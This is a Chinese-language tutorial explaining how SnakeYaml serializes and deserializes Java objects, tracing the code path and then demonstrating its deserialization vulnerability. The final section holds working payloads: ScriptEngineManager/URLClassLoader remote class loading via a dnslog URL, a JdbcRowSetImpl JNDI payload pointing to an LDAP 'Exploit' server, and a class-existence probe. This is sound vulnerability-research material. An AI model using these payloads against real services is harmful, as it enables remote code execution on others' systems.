0x00 SnakeYaml简介
SnakeYaml是Java用于解析Yaml(Yet Another Markup Language)格式数据的类库, 它提供了dump方法可以将一个Java对象转为Yaml格式字符串, 其load方法也能够将Yaml字符串转为Java对象。
0x01 序列化与反序列化
demo
package com.yq1ng.ymal;
/**
* User
*
* @author yq1ng
* @date 2022/2/18 20:56
* @since 1.0.0
*/
public class User {
private String name;
public User(){
System.out.println("init...");
}
public String getName() {
System.out.println("getName...");
return name;
}
public void setName(String name) {
System.out.println("setName...");
this.name = name;
}
@Override
public String toString() {
System.out.println("toString...");
return "User{" +
"name='" + name + '\'' +
'}';
}
}
package com.yq1ng.ymal;
import org.yaml.snakeyaml.Yaml;
/**
* testYmal
*
* @author yq1ng
* @date 2022/2/18 20:56
* @since 1.0.0
*/
public class testYaml {
public static void main(String[] args) {
User user = new User();
user.setName("yq1ng");
Yaml yaml = new Yaml();
String ser = yaml.dump(user);
System.out.println(ser);
System.out.println("==================================================");
User u = yaml.load(ser);
System.out.println(u.getName());
}
}
有点像fastjson,序列化生成的字符串中**!!**
代表强制转换为后面的类型,!!com.yq1ng.ymal.User
就是强转为User
类
反序列化过程
打上断点直接跟
前面两行是初始化不用管,constructor.setComposer(composer);
将StreamReader读取的内容设置到了composer
这里 if 先判断 node 是否为空,node.tag 是否为空,然后判断根节点是否为空(根节点可以去看yml的格式,这里没用yml文件),接着跟进constructDocument(node)
,创建“文件”
这里先判断已经创建的对象里面是否存在当前反序列化的对象,有的话就直接retun,没有就跟进constructObjectNoCheck(node)
跟进constructor.construct(node)
先看怎么获取ClassName的
字符串需要是tag:yaml.org,2002:
开头的,然后截取后面的。然后跟进cl = getClassForName(name);
这里就获得了需要反序列化的对象,然后继续往下
167行对反序列化对象进行了实例化,然后跟进constructJavaBean2ndStep(mnode, obj);
这里对反序列化对象设置值
反射设置值,进入setName()
反序列化漏洞
影响版本
漏洞利用
假设load内容可控,这里以dnslog为例
package com.yq1ng.ymal;
import org.yaml.snakeyaml.Yaml;
/**
* vulYaml
*
* @author yq1ng
* @date 2022/2/20 22:55
* @since 1.0.0
*/
public class vulYaml {
public static void main(String[] args) {
String ser = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://fpiuh1.dnslog.cn\"]]]]\n";
new Yaml().load(ser);
}
}
更多利用
上面说有点像fastjson,看序列化后的数据和反序列化可以指定任意类就觉得更像了,所以yaml也可以用fastjson的所有payload,只需要稍作更改,比如JdbcRowSetImpl,String poc = "!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: \"ldap://localhost:1389/Exploit\"\n autoCommit: true";
,更多gadget与不出网利用看 ref
判断类存在
String poc = "[!!判断的类全类名 []: 0, !!java.net.URL [null, \"http://ixvoxg.dnslog.cn\"]: 1]";